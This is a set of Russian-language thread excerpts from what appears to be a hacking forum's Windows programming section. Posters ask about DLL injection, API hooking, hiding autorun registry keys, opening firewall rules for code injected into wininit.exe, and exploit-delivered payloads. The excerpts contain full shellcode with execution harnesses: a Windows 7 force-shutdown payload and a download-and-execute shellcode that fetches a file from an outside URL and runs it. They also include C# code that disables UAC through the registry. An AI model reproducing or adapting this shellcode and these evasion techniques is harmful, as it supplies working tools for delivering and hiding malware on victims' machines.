  1. Есть ли возможность получить прямой доступ к СМС из NDK без JAVA (>4.3 Желательно 5)?
  2. Есть ли у кого удачный опыт inject shared library в работающий процесс другого пользователя, как в hijack только без su (>4.3 Желательно 5) ?
  3. Слышал в версии 5 и выше, теперь нет прямого доступа к удалению смс даже из под java, кто-нибудь может подтвердить или опровергнуть эту информацию ?
Клиент-сервер
ID: 6765d804b4103b69df375b2e
Thread ID: 25177
Created: 2014-05-06T16:59:51+0000
Last Post: 2014-05-07T03:27:26+0000
Author: Lord#092;of#092;CPU
Replies: 4 Views: 2K

Приветствую всех. Хочу научиться кодить простеньких ботов, взаимодействующих с админкой.
Имеется небольшой опыт кодинга на С под линуксом. С++ и АСМ под виндой. В большей степени прикладные софтины, алгоритмы. Из винапи за все время пользовался буквально 3-5 функами. Некоторое представлением есть, но опыта нету.
Пытаться кодить в данном случае думаю буду на с или с++. Вот собственно.

Для начала мне нужны некоторые знания, инфа. Помогите разобраться и усвоить некоторые вещи.
Вот допустим есть основные виды запросов: 1)пост; 2)гет.
И есть: 1)сокеты; 2)вининет; 3)больше ничего нету из этого, так?.

Добавление записи в Пеб о ДЛЛ
ID: 6765d804b4103b69df375b2f
Thread ID: 25110
Created: 2014-04-01T20:31:34+0000
Last Post: 2014-04-02T20:23:17+0000
Author: rtkm
Replies: 7 Views: 2K

Загружаю ДЛЛ в память, запускаю ее, но почемуто не работает как надо. Подозреваю что это иза того что нет ее в списке модулец.
Может есть у кого функция что бы добавить инфу про ДЛЛ туда.

У меня есть наработки , но почемуто не могу ЕП поставить. точней ставлю , а она не отображается в списке модуля.

П.С. Спасибо за помощь.

Перехват Апи
ID: 6765d804b4103b69df375b30
Thread ID: 23027
Created: 2012-08-08T11:11:40+0000
Last Post: 2014-03-07T15:37:51+0000
Author: shyrka
Replies: 5 Views: 2K

Вот решил разобраться с перехватом апи, вроде делал как по мануалу пишет на васме , но вот толку 0 :(

Вроде как хук делается, но когда программа обращается к этой функции то сразу закрывается. ( тестировал на блокноте , функа CreateFileW).

Сорц.

Жду помощи , критики и т.д. главное что бы я разобрался , а все другое не имеет значения . Всем спасибо!!

Process Hacker v2.9
ID: 6765d804b4103b69df375b32
Thread ID: 24582
Created: 2013-08-23T23:34:24+0000
Last Post: 2013-09-13T18:32:58+0000
Author: DarckSol
Replies: 1 Views: 2K

Собственно, вроди как сорсы этого дела...
--------------------------------------------------------

:zns5: Скачать|Download

:zns5: Скачать|Download

Получение внешнего IP
ID: 6765d804b4103b69df375b33
Thread ID: 24619
Created: 2013-09-08T12:20:37+0000
Last Post: 2013-09-08T19:28:03+0000
Author: dsda
Replies: 2 Views: 2K

Есть у меня задача, при переключении с одного сетевого интерфейса на другой показывать новый IP. Эту задачу я реализовал, она не сложная, тем более что ip локальной сетки.

Я решил пойти дельше и реализовать следующую схему: приложение висит в памяти и через интервал опрашивает интерфейсы об их ip потом ломится на _http://www.dyndns.org/cgi-bin/check_ip.cgi и смотрит внешний ip. Если хоть какой-то из новых ip отличается от тех которые были в прошлои интервале, то сетевой интерфейс отключается. Это нужно например для того чтобы выключать сетевуху при разрыве связи с VPN.

Собственно вопрос. Можно как-то другим способом получить внешний ip без хождения на сайты? А то иногда вываливается по таймауту и это не очень практично, тем более что мы привязанны к внешнему сайту.

Заранее благодарен за ответы.

AppInit_DLLs
ID: 6765d804b4103b69df375b34
Thread ID: 24600
Created: 2013-08-30T22:42:31+0000
Last Post: 2013-08-31T09:22:53+0000
Author: at0m
Replies: 1 Views: 2K

В общем прописал AppInit_DLLs на win xp либу свою в ней на
DLL_PROCESS_ATTACH пишется в файл hello world
Когда делаю инжект в ручную (удаленным потоком) то все ОК
когда в AppInit_DLLs либа в всех процессах висит но уведомление не приходит.
На висте и севен (LoadAppInit_DLLs = 1) такая же хрень в чем проблема с AppInit_DLLs ???

Mutex
ID: 6765d804b4103b69df375b35
Thread ID: 24547
Created: 2013-08-15T19:58:54+0000
Last Post: 2013-08-15T20:35:37+0000
Author: at0m
Replies: 1 Views: 2K

Как средствами WinAPI (легальными не NtXxx) узнать какому процессу принадлежит мьютекс ???
на нетиве делаю след. связку функций :

Code:Copy to clipboard

NtQuerySystemInformation (с классом SystemHandleInformation)
NtDuplicateObject
NtQueryObject

спасибо

Автозапуск
ID: 6765d804b4103b69df375b36
Thread ID: 24289
Created: 2013-06-08T14:00:24+0000
Last Post: 2013-08-11T22:05:36+0000
Author: at0m
Replies: 9 Views: 2K

Возможно ли скрыть ключ реестра при ограниченых правах в ветве HKEY_CURRENT_USER...run
насколько я понимаю не возможно поставить hook из за того что надо админские права ?
Но с другой если есть админские права смысл туда ставить проще поставить хук и фильтровать AppInit_DLLs или установить сервис(длл) но меня все же интересует возможность при ограниченых правах скрыть ключ реестра ???

Windows7 Force Shutdown
ID: 6765d804b4103b69df375b38
Thread ID: 24192
Created: 2013-05-16T06:24:14+0000
Last Post: 2013-05-17T11:34:20+0000
Author: DarckSol
Replies: 8 Views: 2K

/*------------------------------------------------
==[ By Ayrbyte ]======[ Geng Simbe @ TKJ 1 Club ]========================================
Greets To : Adit Groundd SAndd Notte, Agos Wahyo, Aguenkk Rebel Black Sweet,
Ahmad Bagoes, Alvin Putra Marcdyto, Arieb Shezhaniea, Aviep Autiez, Chusnie Mubarok,
Cumigh Gokil On Üç, Dapat Di Hubungi, De Ayiph Ever, Dwi J Andreansyah, Jack PYing,
Khuluq Gomez, Ola Amor Arpaz, Pewe, Q-blueshiierezpector Screamoalltheway Aparatkeparat,
Raden Mas Koko, Rivan Ardiansyah, Rizqi Bogez, Rony C'Penghianat X Ciinta, Sukrex Dreizehn,
Syafi'i, and all Tkj 1 Club Family... ^_^

=========================================================================================
--------------------------------------------------
title : Windows7 Force Shutdown Shellcode - 215 chars
Author: Ayrbyte
Category: local
Tested on: Windows7 Ultimate
Code : c++
Fb : fb.me/Ayrbyte
------------------------------------------------ */
#include
using namespace std;

char code[] = "\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14"

"\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB9\x73\x31\x11\x11\x2B\xC8\x03\xE9\x8B\xD4\xB9\x10\x21\x11\x11\x2B\xC8\x2B\xD1\xB9"

"\x63\x6D\x64\x20\x89\x0A\xB9\x2F\x6B\x20\x73\x89\x4A\x04\xB9\x68\x75\x74\x64\x89\x4A\x08\xB9\x6F\x77\x6E\x20\x89\x4A\x0C\xB9\x2F"

"\x73\x20\x2F\x89\x4A\x10\xB9\x74\x20\x30\x20\x89\x4A\x14\xB9\x40\x77\x11\x11\x2B\xC8\x89\x4A\x18\x33\xDB\x8B\xF4\xB9\x65\x11\x11"

"\x11\x2B\xC8\x8D\x4E\xAC\x51\x8D\x4E\xBC\x51\x53\x53\xB9\x31\x13\x11\x11\x2B\xC8\x51\x53\x53\x53\x52\x53\xFF\xD5\x33\xF6\x33\xC9"

"\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x13\x11\x11\x11\x2B"

"\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";

int main(){printf("Shellcode Length is : %u\n",strlen(code));system("PAUSE");
int (_13)() = (int()())code; _13(); }
/=================[ Geng Simbe @ TKJ 1 Club ]======/

29D7BF96822B7510 1337day.com [2013-05-16] 8F0E5895840CBB3F

Click to expand...

URLDownloadToFile + WinExec + ExitProcess
ID: 6765d804b4103b69df375b3b
Thread ID: 23975
Created: 2013-03-07T17:38:53+0000
Last Post: 2013-03-09T12:19:36+0000
Author: DarckSol
Replies: 6 Views: 2K

/*
Title: Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode
Date: 2013-22-01
Author: RubberDuck
Web: http://bflow.security-portal.cz
http://www.security-portal.cz
Tested on: Win 2k, Win XP Home SP2/SP3 CZ (32), Win 7 (32/64)
-- file is downloaded from URL <http://bflow.security- portal.cz/down/xy.txt>
-- xy.txt - http://www.virustotal.com/file/7d0d68f8e37...sis/1358866648/
-- xy.txt only shows MessageBox with text "Test application for Allwin URLDownloadToFile shellcode"
and title ">> Author: RubberDuck - http://bflow.security-portal.cz <<"

*/

Click to expand...

Code:Copy to clipboard

#include <windows.h>
#include <stdio.h>
 
int main(){
    unsigned char shellcode[] =
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B"
"\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53"
"\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81"
"\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04"
"\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64"
"\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3"
"\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3"
"\x8B\x14\x8E\x03\xD3\x33\xC9\x51\x68\x2E"
"\x65\x78\x65\x68\x64\x65\x61\x64\x53\x52"
"\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62"
"\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2"
"\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C"
"\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C"
"\x6D\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24"
"\x04\x33\xC9\x51\x66\xB9\x65\x41\x51\x33"
"\xC9\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64"
"\x54\x68\x6F\x77\x6E\x6C\x68\x55\x52\x4C"
"\x44\x54\x50\xFF\xD2\x33\xC9\x8D\x54\x24"
"\x24\x51\x51\x52\xEB\x47\x51\xFF\xD0\x83"
"\xC4\x1C\x33\xC9\x5A\x5B\x53\x52\x51\x68"
"\x78\x65\x63\x61\x88\x4C\x24\x03\x68\x57"
"\x69\x6E\x45\x54\x53\xFF\xD2\x6A\x05\x8D"
"\x4C\x24\x18\x51\xFF\xD0\x83\xC4\x0C\x5A"
"\x5B\x68\x65\x73\x73\x61\x83\x6C\x24\x03"
"\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69"
"\x74\x54\x53\xFF\xD2\xFF\xD0\xE8\xB4\xFF"
"\xFF\xFF"
// http://bflow.security-portal.cz/down/xy.txt
"\x68\x74\x74\x70\x3A\x2F\x2F\x62"
"\x66\x6C\x6F\x77\x2E\x73\x65\x63\x75\x72"
"\x69\x74\x79\x2D\x70\x6F\x72\x74\x61\x6C"
"\x2E\x63\x7A\x2F\x64\x6F\x77\x6E\x2F\x78"
"\x79\x2E\x74\x78\x74\x00";
 
    LPVOID lpAlloc = NULL;
    void (*pfunc)();
 
    lpAlloc = VirtualAlloc(0, 4096,
                           MEM_COMMIT,
                           PAGE_EXECUTE_READWRITE);
 
    if(lpAlloc == NULL){
        printf("Memory isn't allocated!\n");
        return 0;
    }
 
    memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1);
 
    pfunc = (void (*)())lpAlloc;
 
    pfunc();
 
    return 0;
}
Отключение UAC, рабочий метод?
ID: 6765d804b4103b69df375b3e
Thread ID: 23379
Created: 2012-09-17T15:37:27+0000
Last Post: 2013-01-30T19:28:57+0000
Author: incode
Replies: 11 Views: 2K

Собственно выполняет ли нижепоставленый код отключение UAC, рабочий ли способ?

Code:Copy to clipboard

using System;
 using System.IO;
 using Microsoft.Win32;

 namespace autostart
 {
 class Program
 {
 static void Main()
 {

 try
 {
 var uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);

 if (uac != null)
 if (uac.GetValue("EnableLUA") != null)
 uac.SetValue("EnableLUA", "0");
 Console.WriteLine("UAC desactivated");

 }
 catch (Exception c)
 {
 Console.WriteLine("Writing in registry failed " + c);
 }

 try
 {
 var uac = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);

 if (uac != null)
 if (uac.GetValue("EnableLUA") != null)
 uac.SetValue("EnableLUA", "0");
 Console.WriteLine("UAC desactivated");

 }
 catch (Exception c)
 {
 Console.WriteLine("Writing in registry failed " + c);
 }
 }
 }
 }
Переадресация трафа
ID: 6765d804b4103b69df375b3f
Thread ID: 23640
Created: 2012-12-10T19:13:01+0000
Last Post: 2013-01-09T22:23:44+0000
Author: at0m
Replies: 4 Views: 2K

Картина такая
Есть 3 приложения A/B/C

Приложения А конечное оно имеет доступ в сеть
Приложение В промежуточное оно переадресует траф с приложения А на С и наоборот
Приложения С - клиент.

Проблема видимо в синхронизации. вот примеры кода

Для приложения А

Code:Copy to clipboard

       // tunneling socket to socket :))
       WSAEVENT MyStructEvents[1];
       MyStructEvents[0] = hDestSockEvent;
       MyStructEvents[1] = hSourceSocketEvent;
       char*szBuf = (char*)GlobalAlloc(GMEM_ZEROINIT,TRANSFERS_BUFF);
       if (szBuf != NULL)
       {
       DWORD dwRet;
       int _recvBytes;
       BOOL bIsExit = TRUE;
       while  (bIsExit)
       {
           WSANETWORKEVENTS WSANetworkEvents;
           dwRet = WSAWaitForMultipleEvents(2,MyStructEvents,FALSE,TIME_WAIT_REPLY,FALSE);
           switch (dwRet)
           {
               case WSA_WAIT_EVENT_0 + 0:     
               if (WSAEnumNetworkEvents(DestSock,hDestSockEvent,&WSANetworkEvents) == 0)
               {
                     if(WSANetworkEvents.lNetworkEvents & FD_READ)
                     {
                                if (WSANetworkEvents.iErrorCode[FD_READ_BIT] == 0)
                                { 
                                   //do {
                                              // receive data from remote server
                                              _recvBytes = ReceiveData(DestSock,szBuf,TRANSFERS_BUFF); 
                                             if (_recvBytes > 0)
                                             {
                                                 //send data to daemon 
                                                  SendData(SourceSocket,szBuf,_recvBytes);
                                             }
                                  //} while (_recvBytes != 0);
                               }
                      }
                      if(WSANetworkEvents.lNetworkEvents & FD_CLOSE)
                      {
                                 if ( (WSANetworkEvents.iErrorCode[FD_CLOSE_BIT] == 0) || (WSANetworkEvents.iErrorCode[FD_CLOSE_BIT] != 0))
                                 {
                                      bIsExit = FALSE;
                                 }
                      }	
              }
              break;

              case WSA_WAIT_EVENT_0 + 1:
              if (WSAEnumNetworkEvents(SourceSocket,hSourceSocketEvent,&WSANetworkEvents) == 0)
              {
                    if(WSANetworkEvents.lNetworkEvents & FD_READ)
                    {
                          if (WSANetworkEvents.iErrorCode[FD_READ_BIT] == 0)
                          { 
                              //do {
                              // receive data from daemon
                              _recvBytes = ReceiveData(SourceSocket,szBuf,TRANSFERS_BUFF);
                              if (_recvBytes > 0)
                              {
                                   // send data to server
                                   SendData(DestSock,szBuf,_recvBytes);
                              }
                              //} while (_recvBytes != 0);
                          }
                     }
                     if(WSANetworkEvents.lNetworkEvents & FD_CLOSE)
                     {
                          if ( (WSANetworkEvents.iErrorCode[FD_CLOSE_BIT] == 0) || (WSANetworkEvents.iErrorCode[FD_CLOSE_BIT] != 0))
                          {
                               bIsExit = FALSE;
                          }
                     }	
               }
               break;

               case WSA_WAIT_FAILED :
               bIsExit = FALSE;
               break;
           } 
       }
       GlobalFree(szBuf);  
   }    

для Приложения В

Code:Copy to clipboard

                      hWsaEvents[0] := hClientRemoteEvent;
                      hWsaEvents[1] := hPeerBackConnectRemoteEvent;
                      GetMem(pTransferData,PACKET_BUFFER);
                      FillChar(pTransferData^,PACKET_BUFFER,0);
                      repeat

                          dwRet:=WSAWaitForMultipleEvents(2,@hWsaEvents,FALSE,WSA_TIMEOUT_DELAY,FALSE);
                          case dwRet of

                          WSA_WAIT_EVENT_0 + 0:
                              begin
                                if  WSAEnumNetworkEvents(MySocketsInfo.sClientRemoteSocket,hClientRemoteEvent,MyWSANetworkEvents) = 0 then
                                begin
                                  if ( MyWSANetworkEvents.lNetworkEvents and FD_READ) > 0 then
                                  begin
                                    if MyWSANetworkEvents.iErrorCode[FD_READ_BIT] = 0 then
                                    begin
                                      //repeat
                                         // receive from client
                                         dwReceiveBytes := ReceiveData(MySocketsInfo.sClientRemoteSocket,PAnsiChar(pTransferData),PACKET_BUFFER);
                                         if (dwReceiveBytes > 0) then
                                         begin
                                           // send to bot
                                           SendData(sPeerBackConnectRemoteSocket,PAnsiChar(pTransferData),dwReceiveBytes);
                                         end;
                                      //until (dwReceiveBytes = 0);
                                    end;
                                  end;
                                  if ( MyWSANetworkEvents.lNetworkEvents and FD_CLOSE) > 0 then
                                  begin
                                    if (MyWSANetworkEvents.iErrorCode[FD_CLOSE_BIT] = 0) or (MyWSANetworkEvents.iErrorCode[FD_CLOSE_BIT] <> 0) then
                                    begin
                                      // close subsession session
                                      //bIsExitOrNext := True;
                                    end;
                                  end;
                                end;
                              end;

                          WSA_WAIT_EVENT_0 + 1:
                              begin
                                if WSAEnumNetworkEvents(sPeerBackConnectRemoteSocket,hPeerBackConnectRemoteEvent,MyWSANetworkEvents) = 0 then
                                begin
                                  if ( MyWSANetworkEvents.lNetworkEvents and FD_READ) > 0 then
                                  begin
                                    if MyWSANetworkEvents.iErrorCode[FD_READ_BIT] = 0 then
                                    begin
                                      //repeat
                                        // receive from bot
                                        dwReceiveBytes := ReceiveData(sPeerBackConnectRemoteSocket,PAnsiChar(pTransferData),PACKET_BUFFER);
                                        // send to client
                                        if dwReceiveBytes > 0 then
                                        begin
                                          SendData(MySocketsInfo.sClientRemoteSocket,PAnsiChar(pTransferData),dwReceiveBytes);
                                        end;
                                      //until ( dwReceiveBytes = 0);
                                    end;
                                  end;
                                  if ( MyWSANetworkEvents.lNetworkEvents and FD_CLOSE) > 0 then
                                  begin
                                    if (MyWSANetworkEvents.iErrorCode[FD_CLOSE_BIT] = 0) or (MyWSANetworkEvents.iErrorCode[FD_CLOSE_BIT] <> 0) then
                                    begin
                                      // close subsession session
                                      //bIsExitOrNext := True;
                                    end;
                                  end;
                                end;
                              end;

                          WSA_WAIT_FAILED :
                              begin
                                bIsExitOrNext := True;
                              end;


                          end;
                      until (Self.Terminated or bIsExitOrNext);
                      FreeMem(pTransferData);

суть в следующем ограничения буфера 8191 байт припустим нужно что то принят более чем этот буфер получается следущая ситуация приложения С принимает даные через прилож. В (в цикле по событиях перебрасывает буфер ) с прилож. А на прилож. С. Тут А начинает принимать даные и передавать на промежутоное приложение В но данные не все доходят с А на В, Тоесть смотрел в отладке А принимает все даные и сразу по событию отсылает на В. Прилож. B теряет даные так как идет следующая ситуация А принимает даные и отсылает и неизвестно как там В с ними работает принял или нет но в В не все даные что А принял. Какие методы синхронизации существуют в моем случае ??? или может есть у кого то исходники тунеля на винсок под винду ... я думал что бы все сразу принял а потом передавать но если у меня будет поток )) и т.д и т.п.

AddVectoredExceptionHandler и OutputDebugString
ID: 6765d804b4103b69df375b40
Thread ID: 23592
Created: 2012-11-21T16:44:46+0000
Last Post: 2012-11-21T20:53:24+0000
Author: el-
Replies: 1 Views: 2K

r0 как то имел проблемы с этой парой и у меня сегодня возникли такие же проблемы смысл в том что вот такой вот код не работает

Code:Copy to clipboard

LONG CALLBACK
exc_handler( PEXCEPTION_POINTERS pep ) {
	OutputDebugStringA("handler");
}

	OutputDebugStringA("111");
	AddVectoredExceptionHandler( TRUE, exc_handler );
	OutputDebugStringA("222");

'222' или 'handler' не будет выведено никогда, а процесс повиснет и все закончиться плохо, причем в отладчиках все отлично работает, собственно почему ?

ответ:

оказывается, заглядывая в кишки OutputDebugStringA ( W функция ссылается на нее же ), видим следующие

Code:Copy to clipboard

; ... skipped
75282AC7   . 50             PUSH EAX                                ; /pArguments
75282AC8   . 6A 02          PUSH 2                                  ; |nArguments = 2
75282ACA   . 6A 00          PUSH 0                                  ; |ExceptionFlags = EXCEPTION_CONTINUABLE
75282ACC   . 68 06000140    PUSH 40010006                           ; |ExceptionCode = 40010006
75282AD1   . E8 8E8EFFFF    CALL KERNELBA.RaiseException            ; \RaiseException
; ... skipped

т.е. опять же дергается исключение ( в параметры помещается строка которую надо вывести ) и получается что устанавливая вех с неправильных обработчиком, и дергая после него OutputDebugString, порождаем исключение, которое не умеет правильно обрабатывается в handler или хуже того дергает внутри него еще один OutputDebugString, что приводит к зацикливанию.

а надо то добавить в самое начало обработчика вот это

Code:Copy to clipboard

	if (pep->ExceptionRecord->ExceptionCode == DBG_PRINTEXCEPTION_C)
  return EXCEPTION_CONTINUE_SEARCH;

да и вообще надо иметь ввиду что в вех будет сыпаться все и это все надо уметь правильно обработать.

нужна помощь ShowHTMLDialog
ID: 6765d804b4103b69df375b42
Thread ID: 23033
Created: 2012-08-12T15:59:19+0000
Last Post: 2012-08-17T13:31:46+0000
Author: паук
Replies: 6 Views: 2K

Нужна форма регистрации в софте.

Проблема заключается в том что открытый с помощью такого (ShowHTMLDialog) метода сайт, не дает переходить по внешним ссылкам.
Кто-то знает решение?!

Может быть он для этого не пригоден вообще и нужно использовать что-то другое. Желательно конечно не использовать каких то огромных компонентов. Надо всего- то отобразить удаленно находящуюся форму, и отправить введенные в нее результаты. Ну и коненчо отобразить "ответ". Редирект на другой сайт. Короче "полноценный серфинг"

Поставить картинку на форму WinApi
ID: 6765d804b4103b69df375b43
Thread ID: 22574
Created: 2012-02-07T16:41:11+0000
Last Post: 2012-07-07T07:41:02+0000
Author: shyrka
Replies: 8 Views: 2K

У кого есть какие соображения ... а то уже 2 дня парюсь .. и все в тупую..
Если юзать ЦРТ то все кашырно ... а так не получается ..
жду помощи , может есть у кого то наработки или проектик мини :)

Спасибо на перед!!

Чтобы написать?
ID: 6765d804b4103b69df375b44
Thread ID: 22736
Created: 2012-04-19T07:47:24+0000
Last Post: 2012-04-23T05:51:00+0000
Author: rolkaluiu0
Replies: 8 Views: 2K

Думаю, чего бы интересного-полезного написать?
Написать парсер каких-нить логов? Их вроде и так куча и платных и бесплатных, да и логов для примера нет.
Может что-нить платное придумать - какую-нить несложную утилитку и продавать ее за 2-5 доллара?
Еще выбор на чем писать. C# - можно считать что open source сразу - продавать смысла нет, C/C++ уже лучше с защитой, но на работе его и так по горло хватает.

Может кто предложит какую идею для утилитки, а там видно будет.

windows
ID: 6765d804b4103b69df375b45
Thread ID: 22576
Created: 2012-02-08T09:11:40+0000
Last Post: 2012-02-22T11:00:34+0000
Author: at0m
Replies: 11 Views: 2K

Всем привет
Вот есть инжектированная либа к примеру у меня в ( системном процессе wininit.exe ) по умолчанию фаер винды 7 разрешает только исходящий трафик, весь входящий блокирует.
Причем для проверки лично создавал правило для wininit.exe после чего все входящие соединения были успешны.
Как программно добавить правило ? Может есть процессы которым разрешено и входящий и исходящий трафик ?

SSDT
ID: 6765d804b4103b69df375b46
Thread ID: 22526
Created: 2012-01-22T14:52:08+0000
Last Post: 2012-01-25T03:50:43+0000
Author: at0m
Replies: 5 Views: 2K

Всем привет нужна таблица сервисов с Windows Server 2008 R2 может кто то видел ?

совместимость
ID: 6765d804b4103b69df375b47
Thread ID: 22454
Created: 2011-12-14T06:30:02+0000
Last Post: 2011-12-16T07:30:27+0000
Author: at0m
Replies: 4 Views: 2K

Всем привет есть такой вопрос.
Какие методы используются для совместимости если софт первоначально писался на x86 поддержку делал на x64 просто запускал x86 на x64 он там дергал с wow-ва то что ему нужно.
Теперь задача состоит немного по другому припустим у меня на 86 машинах делается инжект в процесс либы ясно что 32 разрядная либа не будет работать в x64 процессе ... да и если просто запустить x86 exe на x64 будет палево большое ))
Думаю над след. вариантом если откомпилировать два exe то есть x64 и x86 а потом уже когда браузер будем пробивать сплоитами что бы был выбор соответствующего exe (x86\x64) но тут есть куча нюансов например как быть с крипторами на x64 ???
Или может есть иные пути решения задач с совместимостью ... ?

ntdll.h
ID: 6765d804b4103b69df375b48
Thread ID: 22447
Created: 2011-12-10T19:22:33+0000
Last Post: 2011-12-14T16:52:53+0000
Author: Izg0y
Replies: 1 Views: 2K

Есть ли проект или хоть что-то где этот файл ( ntdll.h, winternals.h, ntifs.h, etc... ) был-бы максимально полон? Официальный MSDN и WDK половину пишут Reserved, может есть смысл уже наколбасить свой более полый аналог?

Гео база
ID: 6765d804b4103b69df375b4b
Thread ID: 22162
Created: 2011-09-05T20:05:15+0000
Last Post: 2011-09-05T21:35:49+0000
Author: at0m
Replies: 1 Views: 2K

Вообщем интересует вопрос где можно найти гео базу то есть пишу gui (WinAPI win32 не под .NET) приложение в котором нужно распознавать страны по диапазонах IP и наоборот мне нужна либа или компонент (желательно с набором функционала обновления базы) нашел maxmind есть еще что то подобное ?

proxy
ID: 6765d804b4103b69df375b4e
Thread ID: 19143
Created: 2010-03-11T06:58:26+0000
Last Post: 2011-06-04T21:17:32+0000
Author: corsac
Replies: 3 Views: 2K

Есть желающие поделится исходниками прокси чекеров? если на никс скажу спасибо...

где брать недостающие библиотеки для minGW ???
ID: 6765d804b4103b69df375b4f
Thread ID: 21618
Created: 2011-05-13T07:16:24+0000
Last Post: 2011-06-04T21:09:09+0000
Author: TRUmP
Replies: 2 Views: 2K

вот так начинаеться код:
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
......
....
...
..

вот такую выдает ошибку:
D:\exploits>g++ 2.c
2.c:10:21: fatal error: sys/uio.h: No such file or directory
compilation terminated.

sys/uio.h вот эта библиотека отсутсвует.. верно?

все делаеться на minGW

кто нибудь подскажет по теме компиляции - что либо полезное.. хоть что...

в чем разница между #include <sys/uio.h> и #include "sys/uio.h" прописанными в

начале кода ,
где скачать эту библиотеку sys/uio.h,
как заменить её на что либо другое если возможно,
вобще пару тройку- десятку советов ... можно услышать?
ни дружит гугл сегодня со мной ....

пожалуйста пм , кто с свободным временем и не ленится разжевать..
спасиба ...

Hors
ID: 6765d804b4103b69df375b5a
Thread ID: 20527
Created: 2010-10-28T22:09:42+0000
Last Post: 2010-10-28T22:09:42+0000
Author: xHorSx
Replies: 0 Views: 2K

Выкладываю свой класс для работы с ICQ (протокол OSCAR). Может быть кому- нибудь пригодится.

Класс написан с использованием чистого Windows API и поэтому программы на его основе имеют очень небольшой размер.

Функционал класса небольшой:

  • Логин к серверу ICQ
  • Смена статуса
  • Отправка сообщений
  • Приём сообщений

Но для решения простых задач, например написания ботов, он вполне подойдет. С его помощью к примеру была написана программа скрытого администрирования с управлением через ICQ.

**Как использовать класс.
**​

Объявить класс SICQ, а затем методом SetWindowsHandle() установить дескриптор окна, которое будет получать сообщения. Формат сообщений описан подробно в документации: http://hors.googlecode.com/files/Documentation.pdf
Обработчики этих сообщений необходимо реализовать самому. Для программистов имевших дело с чистым WinAPI и С/C++/assembler это не составит особого труда.

Важно : класс использует Windows Socket функции, поэтому перед использованием класса в программе нужно загрузить WinSocket Library:

PHP:Copy to clipboard

WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0) 
{
          printf("WSAStartup failed with error: %d\n", err);
              return 1;
}

а по окончанию работы её выгрузить

PHP:Copy to clipboard

WSACleanup();

Или же использовать _LoadWS, _UnloadWS из Net.h/Net.cpp

Пример использования класса: http://hors.googlecode.com/files/SimpleClient.zip

**Отладка.
**​

Если скомпилировать приложение на основе этого класса в отладочной конфигурации(DEBUG), то приложение во время своего выполнения будет слать отладчику отладочные сообщения. Например количество отосланных/принятых байт, типы пакетов, содержимое пакетов.

Например:

Close Socket
BOS Server connection
Create Socket
Connect
Server IP: 64.12.25.162
Server port: 5190
Recv 6(6) bytes
Recv 4(4) bytes
----------[recv]---------------
Packet Size 10(A) bytes
0000|2A01F20600040000
0008|0001
-------------------------------
It's Hello Packet
Create Cookies Packet
Send 270(10E) bytes

Click to expand...

Можно для этого также использовать утилиту DbgView. http://technet.microsoft.com/en-us/s.../bb896647.aspx

**Лицензия.
**​

Класс можно свободно использовать в коммерческих или некоммерческих целях, с открытым исходным кодом или нет. Вы используете этот класс и программы написанные с его помощью на свой страх и риск, автор не несет никакой ответственности за возможные последствия или отсутствие оных.

**Контакт.
**​

Если есть вопросы или предложения по улучшению кода, то horsicq (at) gmail. com

Страница проекта: http://code.google.com/p/hors/
Документация: http://hors.googlecode.com/files/Documentation.pdf
Пример работы: http://hors.googlecode.com/files/SimpleClient.zip

Потоки в C++
ID: 6765d804b4103b69df375b5c
Thread ID: 20139
Created: 2010-08-04T09:04:01+0000
Last Post: 2010-08-04T11:27:39+0000
Author: c1tr1n
Replies: 1 Views: 2K

Есть код на C++

Code:Copy to clipboard

#include <windows.h>

void main()
{
	for (;;)
	{
  system("ping -n 10 who.is");
	}
}

Как сделать чтобы пинг был в 50 потоков одновременно.
Просьба писать только код

Получить установлен .NET версии
ID: 6765d804b4103b69df375b5d
Thread ID: 20069
Created: 2010-07-19T18:08:03+0000
Last Post: 2010-07-19T19:31:09+0000
Author: wacked
Replies: 3 Views: 2K

Code:Copy to clipboard

#include <windows.h>
#include <iostream>
using namespace std;

int main()
{
	WIN32_FIND_DATA FoundFile;
	HANDLE FileHandle;
	TCHAR NETPath[MAX_PATH];
	HKEY hKey;
	DWORD dwSize;
	char NetVersion[5]="v0.0";

	if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  "SOFTWARE\\Microsoft\\.NETFramework",
  0,
  NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_ALL_ACCESS,
        NULL,
        &hKey,
        NULL) == ERROR_SUCCESS )
	{
